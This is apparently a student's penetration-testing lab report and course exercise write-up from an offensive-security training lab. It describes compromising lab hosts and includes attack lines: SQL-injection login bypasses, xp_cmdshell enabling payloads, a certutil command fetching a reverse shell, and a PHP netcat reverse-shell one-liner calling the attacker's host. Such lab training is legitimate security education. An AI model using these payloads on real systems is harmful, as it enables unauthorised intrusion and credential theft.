PWK Lab
PWK Lab
Table of Contents
Offensive Security Lab Penetration Test Report 2
1. Objective 2
2. Lab Network 2
3. Exercises 53
1 | Page
Offensive Security Lab Penetration Test Report
1. Objective
OS-was tasked with performing an internal penetration test towards Offensive Security
Labs. An internal penetration test is a dedicated attack against internally connected
systems. The focus of this test is to perform attacks, similar to those of a hacker and
attempt to infiltrate Offensive Security’s internal lab systems – the [Link] and
[Link] domain. The overall objective was to evaluate the network, identify systems,
and exploit flaws while reporting the findings back to Offensive Security.
When performing the internal penetration test, there were several alarming
vulnerabilities that were identified on Offensive Security’s network. When performing the
attacks, OS- was able to gain access to multiple machines, primarily due to outdated
patches and poor security configurations. During the testing, OS- had administrative
level access to multiple systems. All systems were successfully exploited and access
granted.
2. Lab Network
Offensive Security Complete Guide machines (alpha and beta) may not be included in
your lab report, they are for demonstration purposes only.
2 | Page
[Link]
Enumeration
Initial nmap scan reveals several ports from which our attack surface is on ports 1512
which runs oracle tns listner and the other one is port 8080 which is an apache tomcat
webserver.
3 | Page
Directory bruteforcing apache tomcat reveals /blog/[Link] directory which is a login
page
4 | Page
Initial access
Passing single quote in the username field gives out an error page with oraclesql
database username,password and database name.
5 | Page
Using these credentials we attempt to log into oracle-tns listener using sqlplus and we
get a sql shell.
Using this sql shell we first dump the table name and then usernames and passwords of
users and admin.
To dump table names we use the query “SELECT owner, table_name FROM all_tables;”
6 | Page
2 tables named WEB_USERS and WEB_ADMIN has user and admin credentials
respectively.
7 | Page
Cracking the admin credential by using the web application [Link] reveals the
admin password to be “adminadmin”
Using the web_User credentials we log into the login page on /blog/[Link]
Username: eric
Password: thisismypassword
8 | Page
We use the credentials for admin from the WEB_ADMIN table we dumped earlier.
Username: admin
Password: adminadmin
After logging in we get a portal to upload files. Taking this feature at our advantage we
upload jsp reverse shell
9 | Page
This jsp reverse shell can be found out at
[Link]
10 | Page
After Uploading the reverse shell we get code execution on the server. Through this
code execution we get reverse shell as nt authority\system by injecting powershell
base64 encoded payload.
Post-Exploitation
11 | Page
[Link]
Enumeration
Initial nmap scan reveals several ports and port 4167 on which iis http server is running,
this will be our entry point.
12 | Page
Directory bruteforcing reveals /[Link] directory which has a login panel.
13 | Page
Initial Foothold
The login panel is vulnerable to sql injection attack by using the “’ OR 1=1;--” in the
username and password fields we can bypass the login screen.
14 | Page
The 2 input fields “Artist Name” and “Song Name” are also vulnerable to sql injection. By
enabling xp_cmdshell by these set of payloads:
‘EXEC sp_configure 'show advanced options',1;--
‘RECONFIGURE;--
‘EXEC sp_configure 'xp_cmdshell',1;--
‘RECONFIGURE;--
We can get code execution on the server.
To get Remote code execution we first create a reverse shell executable using
msfvenom.
15 | Page
To get reverse shell we execute the following payload in one of the input fields on the
webpage:
alice' EXEC xp_cmdshell '[Link] -urlcache -f [Link]
[Link]';--
Post-Exploitation
16 | Page
[Link]
Enumeration
Browsing and inspecting [Link] in browser shows it imports a script from hidd3nscript.
17 | Page
De-obfuscating the code from [Link] shows the contents of the code.
18 | Page
After understanding the code we can infer that it just creates a image tag with source
1f2e73705207bdd6467e109c1606ed29-21213/[Link].
19 | Page
The deobfuscated code contains names of lots of other gif, png and bmp files. Trying
each one of them and we land on [Link]. after searching this we get
redirected to [Link]
21213/111111111/[Link]
20 | Page
Bruteforcing directories /1f2e73705207bdd6467e109c1606ed29-21213/111111111/
21 | Page
Initial Access
During dirsearch there was a mention of [Link] browsing it shows a installation text
file.
Form the file just a simple google search about SiTeFiLo exploits reveals a EDB exploit.
Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion -
PHP webapps Exploit ([Link])
22 | Page
Browsing for slog_users.txt reveals userid’s and passwords.
Using the other rfi vulnerability. We can execute a php reverse shell on the server.
23 | Page
Got reverse shell as user www-data
Enumerating users from /etc/passwd file reveals there Is a user named kibosh who’s
password was in the password file from above.
24 | Page
Changing the user from www-data to kibosh using the su command and entering the
password in the password file grants us shell as kibosh
Privilege-Escalataion
25 | Page
After further enumeration it Is found out that kibosh has rights to run ALL:ALL
commands.
So abusing this privilege we get root shell by sudo su.
Post exploitation.
[Link]
26 | Page
Initial enumeration
Searching for [Link] in the browser shows a webpage with tryharder images. On
the contact us page there are names of people working in the company in different
positions. There are names, Emails and birth years of the employees.
27 | Page
Directory burteforcing shows /passwords/ directory on the webserver.
28 | Page
Exploiring the directory reveals 4 files which have names of the employees as same as
on the contact us page.
29 | Page
Opening [Link] reveals a page with passwordbox.
The password hint says that year of birth is the password so going back at the contact
us page we can see that Alfred was born in 1988. So guessing the password “1988”
gives us access to the password protected content.
30 | Page
On this page we can see that there is a ssh server password “IHopeThisDoesNotExpire”
disclosed for user Alfred. Using these credentials we loginto the server as Alfred
successfully.
Initial Access
But our shell is restricted. To escape restricted shell we use the “-t bash --noprofile” flag.
On the home directory there is a README file. This file mentions that there is maybe a
docker container running on the system.
31 | Page
Privilege Escalation
Running [Link] privilege escalation script we can see that the /var/run/[Link]
file is writable which can pave our way to root account.
Mounting the socket and and running as localhost in system ubuntu with chrooting back
into hosts “/bin/bash” we get root privileges.
Post-Exploitation
32 | Page
[Link]
Nmap scan reveals ports 21,22,80,111,139,143,199,443,3306,32768.
33 | Page
Enumerating port 139 with metasploit’s auxiliary/scanner/smb/smb_version reveals the
host is running samba 2.2.7a
Initial Access
Samba 2.2.7a is vulnerable to Remote buffer overflow vulnerability which has a EDB
exploit available Samba < 2.2.8 (Linux/BSD) - Remote Code Execution - Multiple remote
Exploit ([Link]) CVE:2003-0201
Exploiting the vulnerability gives us revershell from root account.
34 | Page
Post exploitation
35 | Page
[Link]
Nmap enumeration shows port 80 open along with 21,22,110 and 143. Port 80 runs
apache webserver
36 | Page
The password for phpliteadmin is the default password “admin”. Upon logging in we can
create a php file with our desired payload to get reverse shell as described in this exploit
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection - PHP webapps Exploit
([Link]) EDB-ID:24044
In this exploit we forst create a database and insert a table into it, after that in the table
we insert out php code to get reverse shell. In my case I used “<?php echo
shell_exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [Link] 139
>/tmp/f");?>”.
Even after creating this database file in order to get reverse shell we must be able to
browse this file but, unfortunately this file is not in the webserver’s directory. In order to
37 | Page
access this database file we must be able to chain a Remote/Local File Inclusion
vulnerability to access this file.
So, to get reverse shell we chain a LFI vulnerability in “cuppa cms Cuppa CMS -
'/[Link]' Local/Remote File Inclusion - PHP webapps Exploit ([Link])
EDB-ID:
25971.
We can see that the path to our revershell file is
So in order to access the file and get reverse shell we use payload
:[Link]
es/[Link]:
And we get a reverse shell as www-data
Downloading, compiling and running the exploit on the host allows us to gain root
privileges.
38 | Page
Post-Exploitation
39 | Page
40 | Page
[Link]-123
This is a active directory network of machines with the domain name [Link]. In this set
[Link] is the domain controller and the other 3 machines are clients. Out of these
3 clients we get our initial access from [Link] and then move laterally to
compromise the domain controller.
[Link]
Enumeration
Initial Nmap scan reveals port 80 which will be of our interest is open.
Directory brute forcing on the http server on port 80 reveals /books directory
41 | Page
Upon browsing the /books directory in our web browser we get a welcome page of
“bizuno erp system”
42 | Page
Initial Access
43 | Page
A quick google search reveals that bizuno library 3.1.7 is vulnerable to authenticated
remote code execution.
PhreeBooks 5.2.3 ERP - Remote Code Execution (2) - PHP webapps Exploit
([Link]) EDB-ID:
49524
Executing the exploit we get code execution on [Link]
44 | Page
Reverse shell is gained through powershell base64 encoded payload. Upon gaining
reverse shell further enumeraton reveals that there is cached tgs ticket for mssql server
running on [Link].
To dump these hashesh we use invoke-Kerberos.ps1 script.
45 | Page
Cracking this hash using hashcat we get the password a “shantewhite”
46 | Page
Post-exploitation
47 | Page
[Link]
Initial Access
Wmiexec to [Link] as sqlServer we get shell on [Link]. Upon further
enumeration by mimikatz we attempt to dump logoncredentials. And we get hash for
daisy.
48 | Page
Post-exploitation
49 | Page
[Link]
50 | Page
Post-Exploitation
51 | Page
[Link] the domain controller.
Initital enumeration
Nmap scan reveals that this is the domain controller, the scan of port 3389 shows the
common name is [Link]
52 | Page
Using the David user’s NTLM hash from [Link], we attempt to loginto the domain
controller using [Link] and get shell as user David who is local administrator on
the domain controller
53 | Page
Post-Exploitiation
54 | Page
3. Exercises
[Link] Exercises
1. Use man to look at the man page for one of your preferred commands.
55 | Page
3. Use which to locate the pwd command on your Kali virtual
5. Use find to identify any file (not directory) modified in the last day, NOT owned by the root user
and execute ls -l on them. Chaining/piping commands is NOT allowed!
56 | Page
2.5.3 Exercises (Reporting is not required for these
exercises) [Link] Exercises (Reporting is not required
for these exercises)
[Link] Exercises
1. Inspect your bash history and use history expansion to re-run a command from it.
57 | Page
2. Execute different commands of your choice and experiment browsing the history
through the shortcuts as well as the reverse-i-search facility.
58 | Page
[Link] Exercises
1. Use the cat command in conjunction with sort to reorder the content of the /etc/passwd file on
your Kali Linux system.
[Link] the output of the previous exercise to a file of your choice in your home
directory
59 | Page
[Link] Exercises
1. Using /etc/passwd, extract the user and home directory fields for all users on your Kali machine
for which the shell is set to /bin/false. Make sure you use a Bash one-liner to print the output to
the screen.
3. Use cat in a one-liner to print the output of the /kali/passwd and replace all
instances of the “Gnome Display Manager” string with “GDM”.
60 | Page
[Link] Exercises
1. Download the archive from the following URL
[Link]
2. This archive contains the results of scanning the same target machine at different
times. Extract the archive and see if you can spot the differences by diffing the scans.
[Link] Exercises
1. Find files that have changed on your Kali virtual machine within the past 7 days by running a
specific command in the background.
61 | Page
2. Re-run the previous command and suspend it; once suspended, background it.
62 | Page
3. Start the Firefox browser on your Kali system. Use ps and grep to identify Firefox’s PID.
[Link] Exercises
1. Start your apache2 web service and access it locally while monitoring its [Link] file in
realtime.
2. Use a combination of watch and ps to monitor the most CPU-intensive processes on your Kali
machine in a terminal window; launch different applications to see how the list changes in real
time
Command:- watch -c -n 1 ps -eo pid,ppid,%mem,%cpu,comm --sort=-%cpu
63 | Page
[Link] Exercise
1. Download the PoC code for an exploit from [Link] using curl, wget, and
axel, saving each download with a different name
64 | Page
[Link] Exercises
1. Create an alias named “..” to change to the parent directory and make it persistent across
terminal sessions.
2. Permanently configure the history command to store 10000 entries and include the full date
in its output.
65 | Page
[Link] Exercises
1. Use socat to transfer powercat.ps1 from your Kali machine to your Windows system. Keep the
file on your system for use in the next section.
• Listener started
• Establishing connection
[Link] socat to create an encrypted reverse shell from your Windows system to
your Kali machine.
• Generating certificate and key files on Kali linux(attacker) and combining them to
.pem file
66 | Page
• Starting Listener
3. Create an encrypted bind shell on your Windows system. Try to connect to it from Kali
without encryption. Does it still work?
• Starting Listener on target(Windows).
67 | Page
• Attempting to connect to the encrypted bind shell without encryption from
attacker(Kali Linux).
4. Make an unencrypted socat bind shell on your Windows system. Connect to the shell using
Netcat. Does it work?
• Creating a Bindshell listener using socat on Target(Windows).
• Attempting to connect to the socat bindshell listener using netcat from attacker(Kali
Linux) machine.
68 | Page
• Conclusion: Connection was successful.
[Link] Exercises
1. Use PowerShell and powercat to create a reverse shell from your Windows system to your
Kali machine.
• Powershell Reverse shell
69 | Page
2. Use PowerShell and powercat to create a bind shell on your Windows system and connect to
it from your Kali machine. Can you also use powercat to connect to it locally?
• Powershell Bind shell
71 | Page
72 | Page
• Powercat encoded bind shell
[Link] Exercises
1. Use Wireshark to capture network activity while attempting to connect to
[Link] on port 110 using Netcat, and then attempt to log into it.
73 | Page
2. Read and understand the output. Where is the three-way handshake happening? Where is
the connection closed?
• Three way Handshake happens at the very first 3 packets
74 | Page
4. Use the display filter to only monitor traffic on port 110. 5. Run a new session, this time using
the capture filter to only collect traffic on port 110
75 | Page
5. Run a new session, this time using the capture filter to only collect traffic on port 110.
76 | Page
[Link] Exercises
1. Use tcpdump to recreate the Wireshark exercise of capturing traffic on port 110.
77 | Page
[Link] the -X flag to view the content of the packet. If data is truncated, investigate
how the -s flag might help.
SOL:-Here using the -X option we can see the packets in hex and ascii and with the -s flag we can
reduce the data that is being truncated in the STDOUT -s flag(snaplen) has to be paired with a
numerical value ranging from 0-65535 for fine control over how much data will be truncated. 0
means no truncation of data.
78 | Page
ACK packets
79 | Page
RST packets
4. An alternative syntax is available in tcpdump where you can use a more user-friendly filter to
display only ACK and PSH packets. Explore this syntax in the tcpdump manual by searching
for “tcpflags”. Come up with an equivalent display filter using this syntax to filter ACK and
PSH packets.
80 | Page
[Link] Exercises
1. Research Bash loops and write a short script to perform a ping sweep of your target IP
range of [Link]/24.
script:
#!/bin/bash
for ((i=0;i<=254;i++));
-f 4 | tr -d ":"
81 | Page
2. Try to do the above exercise with a higher-level scripting language such as Python, Perl,
or Ruby. Script(python): #!/usr/bin/python import os
for i in range(1,256):
82 | Page
3. Use the practical examples in this module to help you create a Bash script that extracts
JavaScript files from the access_log.txt file
([Link] Make sure the file
names DO NOT include the path, are unique, and are sorted.
Script:- cat access_log.txt | grep .js | cut -d '/' -f 5 | awk '{print $1}' | sed '/.css/d' | sort u
4. Re-write the previous exercise in another language such as Python, Perl, or Ruby.
83 | Page
[Link] Exercise
[Link] the whois tool in Kali to identify the name servers of MegaCorp One.
[Link] Exercises
1. Who is the VP of Legal for MegaCorp One and what is their email address?
84 | Page
3. Use Google dorks (either your own or any from the GHDB) to search [Link] for
interesting documents.
85 | Page
4. What other MegaCorp One employees can you identify that are not listed on
[Link]?
86 | Page
Names: Gabriel cook, William Adler, Javier Ruiz.
[Link] Exercise
87 | Page
[Link] Exercise (Reporting is not required for this
exercise+)
[Link] Exercise
1. Search Megacorpone’s GitHub repos for interesting or sensitive information.
[Link] Exercises
88 | Page
2. Experiment with different data sources (-b). Which ones work best for you? Ans:
Google works best.
89 | Page
[Link] Exercise
1. Use any of the social media tools previously discussed to identify additional
MegaCorp One employees.
[Link] Exercises
1. Find the DNS servers for the [Link] domain.
dns_zone_xfer('[Link]')
# end of script
[Link] the example above and use dnsrecon to attempt a zone transfer from
[Link].
root@stu-1 ~/pen200/exercise dnsrecon -d [Link]
-axfr
[*] std: Performing General Enumeration against:
[Link]...
[*] Checking for Zone Transfer for [Link] name servers
[*] Resolving SOA Record [+] SOA
[Link] [Link]
[*] Resolving NS Records
[*] NS Servers found:
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[*]
91 | Page
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS [Link] [Link]
[*] NS [Link] [Link] [*]
NS [Link] [Link]
[*] TXT Try Harder
[*] TXT
google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5
pA
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link] [*]
MX @.[Link] [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link] [*]
A [Link] [Link]
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[*] Checking for Zone Transfer for [Link] name servers
[*] Resolving SOA Record [+] SOA
[Link] [Link]
92 | Page
[*] Resolving NS Records
[*] NS Servers found:
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[+] NS [Link] [Link]
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[+] Zone Transfer was successful!!
[*] NS [Link] [Link]
[*] NS [Link] [Link] [*]
NS [Link] [Link]
[*] TXT Try Harder
[*] TXT
google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXfCJ32hMNV3GtC0wWq5
pA
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link]
[*] MX @.[Link] [Link] [Link] [*]
MX @.[Link] [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link]
93 | Page
[*] A [Link] [Link]
[*] A [Link] [Link]
[*] A [Link] [Link] [*]
A [Link] [Link]
[*]
[*] Trying NS server [Link]
[+] [Link] Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)
[-] DNSSEC is not configured for [Link]
[*] SOA [Link] [Link]
[*] NS [Link] [Link]
[*] NS [Link] [Link]
[*] NS [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link]
[*] MX [Link] [Link] [*]
TXT [Link]
google-site-verification=U7B_b0HNeBtY4qYGQZNsEYXf
CJ32hMNV3GtC0wWq5pA
[*] TXT [Link] Try Harder
[*] Enumerating SRV Records
[+] 0 Records Found
[*] Saving records to XML file: fr
[Link] Exercises
1. Use Nmap to conduct a ping sweep of your target IP range and save the output to a file.
Use grep to show machines that are online.
94 | Page
[Link] the IP addresses you found in exercise 1 for open webserver ports. Use
Nmap to find the webserver and operating system versions.
95 | Page
3. Use NSE scripts to scan the machines in the labs that are running the SMB service.
96 | Page
4. Use Wireshark to capture a Nmap connect and UDP scan and compare it against the Netcat
port scans. Are they the same or different?
Ans: Netcat port scan and Nmap connect scan are the same because both scans perform
complete connection that is SYN-SYN/ACK-ACK with the target which generates more traffic
than nmap stealth scan.
5. Use Wireshark to capture a Nmap SYN scan and compare it to a connect scan and identify
the difference between them.
Ans: Nmap SYN(stealth scan) and nmap connect scan have one major
difference. In stealth scan connection made with the target is incomplete
SYNSYN/ACK-RST which in turn reduces network traffic and speeds up the
scan.
Where as in connect scan a complete connection is made
ACK-SYN/ACKACK which generates a lot of network taffic and slows down
the scanning process.
97 | Page
[Link] Exercises
1. Use Nmap to make a list of the SMB servers in the lab that are running
Windows.
3. Use nbtscan and enum4linux against these systems to identify the types of data you can obtain
from different versions of Windows
nbtscan
98 | Page
Enum4linux
[Link] Exercises
99 | Page
2. Use NSE scripts to scan these systems and collect additional information about accessible
shares.
100 | Page
[Link] Exercises
1. Search your target network range to see if you can identify any systems that respond to the
2. Try using this Python code to automate the process of username discovery using a text file
Usernames file
101 | Page
102 | Page
[Link] Exercises
1. Scan your target network with onesixtyone to identify any SNMP servers.
2. Use snmpwalk and snmp-check to gather information about the discovered targets.
103 | Page
104 | Page
[Link] Exercises
1. Follow the steps above to create your own unauthenticated scan of Gamma.
Steps:
1. Defining target
105 | Page
3. Launching Scan
3. Run the scan with Wireshark open and identify the steps the scanner performed to
completed the scan. Ans:
As we can see in the screenshot below Nessus first scans for common ports.
106 | Page
After discovering common open ports the scanner then enumerates services on the
target machine automatically. In the screenshot below we can see that the scanner
attempts to enumerate Netbios -ssn and SMB service.
107 | Page
After that the scanner performs full port scanning on the target as we
can see from the screenshot below there are a lot of TCP SYN packets
being sent to the target.
Now as we can see in the screenshot below the scanner has discovered open port 80
and is now scanning the HTTP server on port 80 for vulnerabilities.
108 | Page
4. Review the results of the scan.
The Scan has discovered a lot of information some medium vulnerablites and some
Critical Vulnerabilities related to CGI bin attacks.
109 | Page
[Link] Exercises
1. Follow the steps above to create your own authenticated scan of your Debian client.
110 | Page
2. Review the results of the scan.
111 | Page
[Link] Exercises
1. Follow the steps above to create your own individual scan of Beta.
112 | Page
113 | Page
114 | Page
3. Run Wireshark or tcpdump during the individual scan. What other ports does Nessus scan? Why
do you think Nessus scans other ports?
Many plugins check the port state of hardcoded default ports before connecting to them.
Ports outside of the port scan range would have an unknown state because they weren't scanned. By
default, get_port_state() will return TRUE when the port state is unknown. This will result in the
connection being attempted. There is an option in the policy settings "Consider unscanned ports as
closed" that will cause get_port_state() to return FALSE when the state is unknown. This option will
prevent connection attempts to ports outside the port range (as long as the connection has a state
check before it).
4. Review the results of the scan.
115 | Page
[Link] Exercise
1. Find an NSE script similar to the NFS Exported Share Information Disclosure that
was executed in the “Scanning with Individual Nessus Plugins” section. Once found, run
the script against Beta in the PWK labs.
116 | Page
117 | Page
[Link] Exercise
1. Spend some time reviewing the applications available under the Web Application
Analysis menu in Kali Linux. nikto
Burpsuit
118 | Page
Dirbuster
119 | Page
[Link] Exercises
1. Use Burp Intruder to gain access to the phpMyAdmin site running on your Windows
10 lab machine.
Inspecting site source code for set_session parameter
120 | Page
Setting delimiter
121 | Page
Assigning recursive grep to payload
122 | Page
Running intruder
123 | Page
3. Insert a new user into the “users” table
124 | Page
[Link] Exercises
1. Exploit the XSS vulnerability in the sample application to get the admin cookie and
hijack the session. Remember to use the PowerShell script on your Windows 10 lab
machine to simulate the admin login. Injected payload.
125 | Page
Adding the admin cookie to our session
126 | Page
Session Hijacked
2. Consider what other ways an XSS vulnerability in this application might be used for attacks.
127 | Page
As you can see in the screenshot above the option to create a comment is destroyed.
[Link] Exercise
128 | Page
1. Exploit the directory traversal vulnerability to read arbitrary files on your Windows 10 lab
machine.
129 | Page
[Link] Exercises
1. Obtain code execution through the use of the LFI attack. Sent payload.
Code execution.
130 | Page
2. Use the code execution to obtain a full shell.
Created a php webshell payload file with msfvenom and started a smbserver
131 | Page
Transferred payload to target via smb
132 | Page
Using LFI vulnerability to execute webshell
133 | Page
Got shell as student
[Link] Exercises
1. Exploit the RFI vulnerability in the web application and get a shell.
134 | Page
135 | Page
Added url of my machine [Link] in the file parameter and got the
shell.
136 | Page
Upon making the request we can see in the screen shot below that it is not able to find the file
even though I have hosted the file on my python server
137 | Page
Upon looking at the python server STDOUT we can see that request is being made by the target
to the attacker machine but the request has repeated .php extension
138 | Page
So now we make a request to attacker machine without the .php file extension
[Link] and we
receive a shell
139 | Page
4. Use one of the webshells included with Kali to get a shell on the Windows 10 target.
140 | Page
[Link] Exercises
1. Exploit the LFI vulnerability using a PHP wrapper.
141 | Page
2. Use a PHP wrapper to get a shell on your Windows 10 lab machine.
142 | Page
[Link] Exercises
1. Interact with the MariaDB database and manually execute the commands required to
authenticate to the application. Understand the vulnerability.
Executing the sql query used by the webapp at the time of login it displays table.
143 | Page
Upon adding a double quote in the username field after admin and adding ‘OR 1=1 #’ to
make the statement true and the further become a comment . We are able to dump the
whole table.
144 | Page
145 | Page
3. Why is the username displayed like it is in the web application once the authentication
process is bypassed?
Ans: echo "<h2>Welcome " . $_SESSION['user'] “ here in the code the username is displayed
based upon what we enter in the username textbox in [Link] and that is why we see the
sqlinjection query in the username.
4. Execute the SQL injection in the password field. Is the “LIMIT 1” necessary in the payload?
Why or why not?
Ans: “LIMIT 1” is necessary because some programming languages have functions that query
the database and expect a single record. If these functions get more than one row, they will
generate an error.
[Link] Exercises
1. Enumerate the structure of the database using SQL injection.
146 | Page
Getting username
2. Understand how and why you can pull data from your injected commands and have it displayed
on the screen.
Code execution
149 | Page
2. Turn the simple code execution into a full shell.
Using powershell base 64 encoded payload
150 | Page
[Link] Exercises
1. Use sqlmap to obtain a full dump of the database.
151 | Page
2. Use sqlmap to obtain an interactive shell.
152 | Page
10.2.5 Exercises
1. Repeat the steps shown in this section to see the 12 A’s copied onto the stack.
Passing 12 A’s as argument to [Link]
Executing the program till return instruction we can see 12 A’s onto the stack as hex ‘41’
153 | Page
2. Supply at least 80 A’s and verify that EIP after the strcpy will contain the value
41414141.
80 A’s using python
EIP overwritten
154 | Page
[Link] Exercises
1. Build the fuzzer and replicate the SyncBreeze crash.
155 | Page
2. Inspect the content of other registers and stack memory. Does anything seem to be
directly influenced by the fuzzing input?
156 | Page
EIP register is overwritten with A's
[Link] Exercises
1. Write a standalone script to replicate the crash.
157 | Page
2. Determine the offset within the input buffer to successfully control EIP.
[Link] your standalone script to place a unique value into EIP to ensure your offset is
correct.
158 | Page
159 | Page
[Link] Exercises
1. Repeat the required steps in order to identify the bad characters that cannot be included in
the payload.
160 | Page
161 | Page
Using [Link] to identify badchars
Upon close inspection and multiple tries it is concluded that 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B,
and 0x3D are the badchars.
2. Why are these characters not allowed? How do these bad hex characters translate to ASCII?
X00 is the null byte which determines where does a string end if we use this char In our shell
code the execution of our shellcode will stop as soon as the machine detects null byte.
X0a in ascii translates to ‘\n’ which is a format string that represents new line and 0xd is carriage
return ‘\r’.
X025 is ‘%’ which is again used as a format string in many languages and can thus interrupt
execution.
X026 is ‘&’ which is special character used in C.
162 | Page
X2b is the ‘+’ which is a mathematical sign in various languages. X3d
is the ‘=’ sign.
[Link] Exercises
1. Locate the JMP ESP that is usable in the exploit.
163 | Page
2. Update your PoC to include the discovered JMP ESP, set a breakpoint on it, and follow the
execution to the placeholder shellcode.
Update script.
164 | Page
165 | Page
Set a breakpoint at JMP ESP instruction.
Stepping into the JMP ESP shows that execution starts at ‘\x5c\x74\x98\x02’ Which
is our place holder for shellcode.
166 | Page
[Link] Exercises
1. Update your PoC to include a working payload.
167 | Page
2. Attempt to execute your exploit without using a NOP sled and observe the decoder corrupting
the stack.
As we can see in the screenshot below the decoder is corrupting the stack.
168 | Page
4. Add a NOP sled to your PoC and obtain a shell from SyncBreeze
Added 10 NOPs
169 | Page
170 | Page
[Link] Exercise
1. Update the exploit so that SyncBreeze still runs after exploitation.
171 | Page
[Link] Exercises
1. Log in to your dedicated Linux client using the credentials you received.
172 | Page
2. On your Kali machine, recreate the proof-of-concept code that crashes the Crossfire
server.
[Link] the debugger to the Crossfire server, run the exploit against your Linux client,
and confirm that the EIP register is overwritten by the malicious buffer.
173 | Page
As we can see in the Screenshot Below EIP has been overwritten by ASCII “A”
174 | Page
[Link] Exercises
1. Determine the correct buffer offset required to overwrite the return address on the stack.
176 | Page
[Link] Exercises
1. Determine the opcodes required to generate a first stage shellcode using msf-nasm_shell.
3. Identify the bad characters that cannot be included in the payload and return address.
177 | Page
Upon close inspection of characters we can see that \x00 and \x20 are bad characters
[Link] Exercises
1. Find a suitable assembly instruction address for the exploit using EDB.
178 | Page
2. Include the first stage shellcode and return address instruction in your proof-of-concept and
ensure that the first stage shellcode is working as expected by single stepping through it in the
debugger.
179 | Page
180 | Page
Stepping into the breakpoint at Jmp esp now the EIP points to the first stage of the payload.
Stepping in even further we can see the instructions add eax,12 and jmp eax being executed
which finally points to the “A’s” we sent to crash the application.
181 | Page
[Link] Exercises
182 | Page
183 | Page
2. Obtain a shell from the Crossfire application with and without a debugger.
Got Shell.
Without Debugger.
184 | Page
[Link] Exercises
Note: Reporting is not required for these exercises
[Link] Exercises
1. Use msfvenom to generate a HTML Application and use it to compromise your Windows client.
Generating exploit.
185 | Page
Searching and executing the malicious HTA file
186 | Page
2. Is it possible to use the HTML Application attack against Microsoft Edge users, and if so, how?
Yes it is possible and the process is exactly the same with edge browsers as
it is was with internet explorer. Just the difference is we get prompted twice before he
execution. Edge checks for a valid digital signature before execution, as it is unable to
find a digital signature in our malicious file it will give a warning prompt as in the screen
shot below.
187 | Page
[Link] Exercise
1. Use the PowerShell payload from the HTA attack to create a Word macro that sends a reverse
shell to your Kali system.
Added Macro.
188 | Page
Attempted to open the DOTM file.
189 | Page
Got reverse shell.
[Link] Exercise
1. Use the PowerShell payload to create a batch file and embed it in a Microsoft Word
document to send a reverse shell to your Kali system.
Created [Link]
190 | Page
Got Reverse Shell.
191 | Page
[Link] Exercises
1. Trigger the protection by Protected View by simulating a download of the
Microsoft Word document from the Internet.
192 | Page
Protected view triggered.
193 | Page
2. Reuse the batch file and embed it in a Microsoft Publisher document to receive a
reverse shell to your Kali system.
194 | Page
3. Move the file to the Apache web server to simulate the download of the Publisher
document from the Internet and confirm the missing Protected View.
195 | Page
Simulating downloading publisher file from the internet.
196 | Page
Running the Object.
197 | Page
Got reverse shell.
[Link] Exercises
1. Connect to your dedicated Linux client and start the vulnerable Apache James
service using the /usr/local/james/bin/[Link] script.
Connected to the dedicated client and started the apache james service.
198 | Page
2. Enumerate the target using port scanning utilities and use information from the
banners and Internet searches to determine the software running on the machine.
199 | Page
3. Use the searchsploit tool to find exploits for this version on the online resources
mentioned in this module.
200 | Page
201 | Page
4. Launch the exploit and verify that the payload is executed upon logging in to the
machine.
Payload executed. As you can see in the screenshot below the exploit has created a
[Link] file.
202 | Page
5. Attempt to modify the payload variable in order to get a reverse shell on the
target machine.
Triggered the exploit via ssh and got the reverse shell.
203 | Page
[Link] Exercises
1. Locate the exploit discussed in this section using the searchsploit tool in Kali Linux.
204 | Page
2. Install the mingw-w64 suite in Kali Linux and compile the exploit code.
205 | Page
206 | Page
[Link] Exercises
1. Modify the connection information in the exploit in order to target the SyncBreeze
installation on your Windows client.
2. Recompile the exploit and use Wireshark to confirm that the code successfully
initiates a socket connection to your dedicated Windows client.
Recompiling.
207 | Page
[Link] Exercise
1. Find any valid return address instruction and alter the one present in the original
exploit.
As we have previously developed a exploit for sync breeze we will use the return
address used in that exploit. This was the return address in the exploit we created. (see
eip in the screenshot).
208 | Page
Modifying the return address in the exploit code.
[Link] Exercises
1. Generate a reverse shell payload using msfvenom while taking into account the bad
characters of our exploit.
209 | Page
2. Replace the original payload with the newly generated one.
210 | Page
